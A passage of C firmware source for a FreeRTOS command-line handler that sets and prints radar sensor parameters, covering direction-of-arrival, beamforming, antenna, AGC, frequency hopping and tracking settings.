if (param2 != NULL)
cfg->doa_method = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_method = %u\n\r", cfg->doa_method);
return pdFALSE;
}
if (strncmp(param1, "doa_npoint", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_BFM_GROUP_NUM) {
cfg->doa_npoint[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_npoint = [");
for(cnt = 0; cnt < MAX_BFM_GROUP_NUM; cnt++) {
if (cnt != MAX_BFM_GROUP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->doa_npoint[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->doa_npoint[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "doa_samp_space", len1) == 0) {
if (param2 != NULL)
cfg->doa_samp_space = (char) param2[0];
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_samp_space = %c\n\r", cfg->doa_samp_space);
return pdFALSE;
}
if (strncmp(param1, "doa_max_obj_per_bin", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_BFM_GROUP_NUM) {
cfg->doa_max_obj_per_bin[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_max_obj_per_bin = [");
for(cnt = 0; cnt < MAX_BFM_GROUP_NUM; cnt++) {
if (cnt != MAX_BFM_GROUP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->doa_max_obj_per_bin[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->doa_max_obj_per_bin[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "bfm_peak_scalar", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 3) {
cfg->bfm_peak_scalar[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_peak_scalar = [");
for(cnt = 0; cnt < 3; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->bfm_peak_scalar[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->bfm_peak_scalar[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "bfm_noise_level_scalar", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 3) {
cfg->bfm_noise_level_scalar[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_noise_level_scalar = [");
for(cnt = 0; cnt < 3; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->bfm_noise_level_scalar[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->bfm_noise_level_scalar[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "bfm_snr_thres", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 2) {
cfg->bfm_snr_thres[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_snr_thres = [");
for(cnt = 0; cnt < 2; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->bfm_snr_thres[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->bfm_snr_thres[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "bfm_az_left", len1) == 0) {
if (param2 != NULL)
cfg->bfm_az_left = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_az_left = %.4f\n\r", cfg->bfm_az_left);
return pdFALSE;
}
if (strncmp(param1, "bfm_az_right", len1) == 0) {
if (param2 != NULL)
cfg->bfm_az_right = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_az_right = %.4f\n\r", cfg->bfm_az_right);
return pdFALSE;
}
if (strncmp(param1, "bfm_ev_up", len1) == 0) {
if (param2 != NULL)
cfg->bfm_ev_up = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_ev_up = %.4f\n\r", cfg->bfm_ev_up);
return pdFALSE;
}
if (strncmp(param1, "bfm_ev_down", len1) == 0) {
if (param2 != NULL)
cfg->bfm_ev_down = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_ev_down = %.4f\n\r", cfg->bfm_ev_down);
return pdFALSE;
}
if (strncmp(param1, "doa_win", len1) == 0) {
if (param2 != NULL)
snprintf(cfg->doa_win, MIN(len2, 16-1)+1, "%s", param2);
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_win = %s\n\r", cfg->doa_win);
return pdFALSE;
}
if (strncmp(param1, "doa_win_params", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 3) {
cfg->doa_win_params[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_win_params = [");
for(cnt = 0; cnt < 3; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->doa_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->doa_win_params[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "bfm_raw_search_step", len1) == 0) {
if (param2 != NULL)
cfg->bfm_raw_search_step = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_raw_search_step = %u\n\r", cfg->bfm_raw_search_step);
return pdFALSE;
}
if (strncmp(param1, "bfm_fine_search_range", len1) == 0) {
if (param2 != NULL)
cfg->bfm_fine_search_range = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_fine_search_range = %u\n\r", cfg->bfm_fine_search_range);
return pdFALSE;
}
if (strncmp(param1, "bfm_iter_search", len1) == 0) {
if (param2 != NULL)
cfg->bfm_iter_search = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_iter_search = %d\n\r", cfg->bfm_iter_search);
return pdFALSE;
}
if (strncmp(param1, "bfm_mode", len1) == 0) {
if (param2 != NULL)
cfg->bfm_mode = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_mode = %u\n\r", cfg->bfm_mode);
return pdFALSE;
}
if (strncmp(param1, "bfm_group_idx", len1) == 0) {
if (param2 != NULL)
cfg->bfm_group_idx = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_group_idx = %u\n\r", cfg->bfm_group_idx);
return pdFALSE;
}
if (strncmp(param1, "ant_info_from_flash", len1) == 0) {
if (param2 != NULL)
cfg->ant_info_from_flash = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "ant_info_from_flash = %d\n\r", cfg->ant_info_from_flash);
return pdFALSE;
}
if (strncmp(param1, "ant_info_flash_addr", len1) == 0) {
if (param2 != NULL)
cfg->ant_info_flash_addr = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "ant_info_flash_addr = 0x%X\n\r", cfg->ant_info_flash_addr);
return pdFALSE;
}
if (strncmp(param1, "ant_pos", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_ANT_ARRAY_SIZE) {
if (cnt % 2 == 0)
cfg->ant_pos[cnt/2].x = (float) strtof(param2, NULL);
else
cfg->ant_pos[cnt/2].y = (float) strtof(param2, NULL);
cnt++;
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "ant_pos = [");
for(cnt = 0; cnt < MAX_ANT_ARRAY_SIZE && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_ANT_ARRAY_SIZE - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "(%.2f, %.2f), ", cfg->ant_pos[cnt].x, cfg->ant_pos[cnt].y);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "(%.2f, %.2f)]\n\r", cfg->ant_pos[cnt].x, cfg->ant_pos[cnt].y);
}
return pdFALSE;
}
if (strncmp(param1, "ant_comps", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_ANT_ARRAY_SIZE) {
cfg->ant_comps[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "ant_comps = [");
for(cnt = 0; cnt < MAX_ANT_ARRAY_SIZE; cnt++) {
if (cnt != MAX_ANT_ARRAY_SIZE - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->ant_comps[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->ant_comps[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "bpm_mode", len1) == 0) {
if (param2 != NULL)
cfg->bpm_mode = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "bpm_mode = %d\n\r", cfg->bpm_mode);
return pdFALSE;
}
if (strncmp(param1, "phase_scramble_on", len1) == 0) {
if (param2 != NULL)
cfg->phase_scramble_on = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_on = %u\n\r", cfg->phase_scramble_on);
return pdFALSE;
}
if (strncmp(param1, "phase_scramble_init_state", len1) == 0) {
if (param2 != NULL)
cfg->phase_scramble_init_state = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_init_state = 0x%X\n\r", cfg->phase_scramble_init_state);
return pdFALSE;
}
if (strncmp(param1, "phase_scramble_tap", len1) == 0) {
if (param2 != NULL)
cfg->phase_scramble_tap = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_tap = 0x%X\n\r", cfg->phase_scramble_tap);
return pdFALSE;
}
if (strncmp(param1, "phase_scramble_comp", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 4) {
cfg->phase_scramble_comp[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_comp = [");
for(cnt = 0; cnt < 4; cnt++) {
if (cnt != 4 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->phase_scramble_comp[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->phase_scramble_comp[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "freq_hopping_on", len1) == 0) {
if (param2 != NULL)
cfg->freq_hopping_on = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_on = %u\n\r", cfg->freq_hopping_on);
return pdFALSE;
}
if (strncmp(param1, "freq_hopping_init_state", len1) == 0) {
if (param2 != NULL)
cfg->freq_hopping_init_state = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_init_state = 0x%X\n\r", cfg->freq_hopping_init_state);
return pdFALSE;
}
if (strncmp(param1, "freq_hopping_tap", len1) == 0) {
if (param2 != NULL)
cfg->freq_hopping_tap = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_tap = 0x%X\n\r", cfg->freq_hopping_tap);
return pdFALSE;
}
if (strncmp(param1, "freq_hopping_deltaf", len1) == 0) {
if (param2 != NULL)
cfg->freq_hopping_deltaf = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_deltaf = %.4f\n\r", cfg->freq_hopping_deltaf);
return pdFALSE;
}
if (strncmp(param1, "chirp_shifting_on", len1) == 0) {
if (param2 != NULL)
cfg->chirp_shifting_on = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_on = %u\n\r", cfg->chirp_shifting_on);
return pdFALSE;
}
if (strncmp(param1, "chirp_shifting_init_state", len1) == 0) {
if (param2 != NULL)
cfg->chirp_shifting_init_state = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_init_state = %u\n\r", cfg->chirp_shifting_init_state);
return pdFALSE;
}
if (strncmp(param1, "chirp_shifting_init_tap", len1) == 0) {
if (param2 != NULL)
cfg->chirp_shifting_init_tap = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_init_tap = %u\n\r", cfg->chirp_shifting_init_tap);
return pdFALSE;
}
if (strncmp(param1, "chirp_shifting_delay", len1) == 0) {
if (param2 != NULL)
cfg->chirp_shifting_delay = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_delay = %.4f\n\r", cfg->chirp_shifting_delay);
return pdFALSE;
}
if (strncmp(param1, "fsm_on", len1) == 0) {
if (param2 != NULL)
cfg->fsm_on = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "fsm_on = %d\n\r", cfg->fsm_on);
return pdFALSE;
}
if (strncmp(param1, "agc_mode", len1) == 0) {
if (param2 != NULL)
cfg->agc_mode = (int32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_mode = %d\n\r", cfg->agc_mode);
return pdFALSE;
}
if (strncmp(param1, "agc_code", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < AGC_CODE_ENTRY_NUM) {
cfg->agc_code[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "agc_code = [");
for(cnt = 0; cnt < AGC_CODE_ENTRY_NUM; cnt++) {
if (cnt != AGC_CODE_ENTRY_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->agc_code[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->agc_code[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "agc_tia_thres", len1) == 0) {
if (param2 != NULL)
cfg->agc_tia_thres = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_tia_thres = %.4f\n\r", cfg->agc_tia_thres);
return pdFALSE;
}
if (strncmp(param1, "agc_vga1_thres", len1) == 0) {
if (param2 != NULL)
cfg->agc_vga1_thres = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_vga1_thres = %.4f\n\r", cfg->agc_vga1_thres);
return pdFALSE;
}
if (strncmp(param1, "agc_vga2_thres", len1) == 0) {
if (param2 != NULL)
cfg->agc_vga2_thres = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_vga2_thres = %.4f\n\r", cfg->agc_vga2_thres);
return pdFALSE;
}
if (strncmp(param1, "agc_align_en", len1) == 0) {
if (param2 != NULL)
cfg->agc_align_en = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_align_en = %d\n\r", cfg->agc_align_en);
return pdFALSE;
}
if (strncmp(param1, "adc_comp_en", len1) == 0) {
if (param2 != NULL)
cfg->adc_comp_en = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_comp_en = %d\n\r", cfg->adc_comp_en);
return pdFALSE;
}
if (strncmp(param1, "rf_tia_gain", len1) == 0) {
if (param2 != NULL)
cfg->rf_tia_gain = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_tia_gain = %u\n\r", cfg->rf_tia_gain);
return pdFALSE;
}
if (strncmp(param1, "rf_vga1_gain", len1) == 0) {
if (param2 != NULL)
cfg->rf_vga1_gain = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_vga1_gain = %u\n\r", cfg->rf_vga1_gain);
return pdFALSE;
}
if (strncmp(param1, "rf_vga2_gain", len1) == 0) {
if (param2 != NULL)
cfg->rf_vga2_gain = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_vga2_gain = %u\n\r", cfg->rf_vga2_gain);
return pdFALSE;
}
if (strncmp(param1, "rf_hpf1", len1) == 0) {
if (param2 != NULL)
cfg->rf_hpf1 = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_hpf1 = %u\n\r", cfg->rf_hpf1);
return pdFALSE;
}
if (strncmp(param1, "rf_hpf2", len1) == 0) {
if (param2 != NULL)
cfg->rf_hpf2 = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_hpf2 = %u\n\r", cfg->rf_hpf2);
return pdFALSE;
}
if (strncmp(param1, "de_vel_amb", len1) == 0) {
if (param2 != NULL)
cfg->de_vel_amb = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "de_vel_amb = %d\n\r", cfg->de_vel_amb);
return pdFALSE;
}
if (strncmp(param1, "track_fps", len1) == 0) {
if (param2 != NULL)
cfg->track_fps = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fps = %u\n\r", cfg->track_fps);
return pdFALSE;
}
if (strncmp(param1, "track_fov_az_left", len1) == 0) {
if (param2 != NULL)
cfg->track_fov_az_left = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_az_left = %.4f\n\r", cfg->track_fov_az_left);
return pdFALSE;
}
if (strncmp(param1, "track_fov_az_right", len1) == 0) {
if (param2 != NULL)
cfg->track_fov_az_right = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_az_right = %.4f\n\r", cfg->track_fov_az_right);
return pdFALSE;
}
if (strncmp(param1, "track_fov_ev_down", len1) == 0) {
if (param2 != NULL)
cfg->track_fov_ev_down = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_ev_down = %.4f\n\r", cfg->track_fov_ev_down);
return pdFALSE;
}
if (strncmp(param1, "track_fov_ev_up", len1) == 0) {
if (param2 != NULL)
cfg->track_fov_ev_up = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_ev_up = %.4f\n\r", cfg->track_fov_ev_up);
return pdFALSE;
}
if (strncmp(param1, "track_near_field_thres", len1) == 0) {
if (param2 != NULL)
cfg->track_near_field_thres = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_near_field_thres = %.4f\n\r", cfg->track_near_field_thres);
return pdFALSE;
}
if (strncmp(param1, "track_capture_delay", len1) == 0) {
if (param2 != NULL)
cfg->track_capture_delay = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_capture_delay = %.4f\n\r", cfg->track_capture_delay);
return pdFALSE;
}
if (strncmp(param1, "track_drop_delay", len1) == 0) {
if (param2 != NULL)
cfg->track_drop_delay = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_drop_delay = %.4f\n\r", cfg->track_drop_delay);
return pdFALSE;
}
if (strncmp(param1, "track_vel_pos_ind_portion", len1) == 0) {
if (param2 != NULL)
cfg->track_vel_pos_ind_portion = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_vel_pos_ind_portion = %.4f\n\r", cfg->track_vel_pos_ind_portion);
return pdFALSE;
}
if (strncmp(param1, "track_obj_snr_sel", len1) == 0) {
if (param2 != NULL)
cfg->track_obj_snr_sel = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "track_obj_snr_sel = %u\n\r", cfg->track_obj_snr_sel);
return pdFALSE;
}
if (strncmp(param1, "tx_phase_value", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 4) {
cfg->tx_phase_value[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "tx_phase_value = [");
for(cnt = 0; cnt < 4; cnt++) {
if (cnt != 4 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->tx_phase_value[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->tx_phase_value[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "spk_en", len1) == 0) {
if (param2 != NULL)
cfg->spk_en = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_en = %d\n\r", cfg->spk_en);
return pdFALSE;
}
if (strncmp(param1, "spk_buf_len", len1) == 0) {
if (param2 != NULL)
cfg->spk_buf_len = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_buf_len = %u\n\r", cfg->spk_buf_len);
return pdFALSE;
}
if (strncmp(param1, "spk_set_zero", len1) == 0) {
if (param2 != NULL)
cfg->spk_set_zero = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_set_zero = %d\n\r", cfg->spk_set_zero);
return pdFALSE;
}
if (strncmp(param1, "spk_ovr_num", len1) == 0) {
if (param2 != NULL)
cfg->spk_ovr_num = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_ovr_num = %u\n\r", cfg->spk_ovr_num);
return pdFALSE;
}
if (strncmp(param1, "spk_thres_dbl", len1) == 0) {
if (param2 != NULL)
cfg->spk_thres_dbl = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_thres_dbl = %d\n\r", cfg->spk_thres_dbl);
return pdFALSE;
}
if (strncmp(param1, "spk_min_max_sel", len1) == 0) {
if (param2 != NULL)
cfg->spk_min_max_sel = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_min_max_sel = %d\n\r", cfg->spk_min_max_sel);
return pdFALSE;
}
if (strncmp(param1, "zero_doppler_cancel", len1) == 0) {
if (param2 != NULL)
cfg->zero_doppler_cancel = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "zero_doppler_cancel = %d\n\r", cfg->zero_doppler_cancel);
return pdFALSE;
}
if (strncmp(param1, "anti_velamb_en", len1) == 0) {
if (param2 != NULL)
cfg->anti_velamb_en = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "anti_velamb_en = %d\n\r", cfg->anti_velamb_en);
return pdFALSE;
}
if (strncmp(param1, "anti_velamb_delay", len1) == 0) {
if (param2 != NULL)
cfg->anti_velamb_delay = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "anti_velamb_delay = %u\n\r", cfg->anti_velamb_delay);
return pdFALSE;
}
if (strncmp(param1, "anti_velamb_qmin", len1) == 0) {
if (param2 != NULL)
cfg->anti_velamb_qmin = (int32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "anti_velamb_qmin = %d\n\r", cfg->anti_velamb_qmin);
return pdFALSE;
}
if (strncmp(param1, "high_vel_comp_en", len1) == 0) {
if (param2 != NULL)
cfg->high_vel_comp_en = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "high_vel_comp_en = %d\n\r", cfg->high_vel_comp_en);
return pdFALSE;
}
if (strncmp(param1, "high_vel_comp_method", len1) == 0) {
if (param2 != NULL)
cfg->high_vel_comp_method = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "high_vel_comp_method = %u\n\r", cfg->high_vel_comp_method);
return pdFALSE;
}
if (strncmp(param1, "vel_comp_usr", len1) == 0) {
if (param2 != NULL)
cfg->vel_comp_usr = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_comp_usr = %.4f\n\r", cfg->vel_comp_usr);
return pdFALSE;
}
if (strncmp(param1, "rng_comp_usr", len1) == 0) {
if (param2 != NULL)
cfg->rng_comp_usr = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_comp_usr = %.4f\n\r", cfg->rng_comp_usr);
return pdFALSE;
}
if (strncmp(param1, "dml_2dsch_start", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 2) {
cfg->dml_2dsch_start[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_2dsch_start = [");
for(cnt = 0; cnt < 2; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->dml_2dsch_start[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->dml_2dsch_start[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "dml_2dsch_step", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 2) {
cfg->dml_2dsch_step[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_2dsch_step = [");
for(cnt = 0; cnt < 2; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->dml_2dsch_step[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->dml_2dsch_step[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "dml_2dsch_end", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 2) {
cfg->dml_2dsch_end[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_2dsch_end = [");
for(cnt = 0; cnt < 2; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->dml_2dsch_end[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->dml_2dsch_end[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "dml_extra_1d_en", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 2) {
cfg->dml_extra_1d_en[cnt++] = (bool) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_extra_1d_en = [");
for(cnt = 0; cnt < 2; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d, ", cfg->dml_extra_1d_en[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d]\n\r", cfg->dml_extra_1d_en[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "dml_p1p2_en", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 2) {
cfg->dml_p1p2_en[cnt++] = (bool) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_p1p2_en = [");
for(cnt = 0; cnt < 2; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d, ", cfg->dml_p1p2_en[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d]\n\r", cfg->dml_p1p2_en[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "dml_respwr_coef", len1) == 0) {
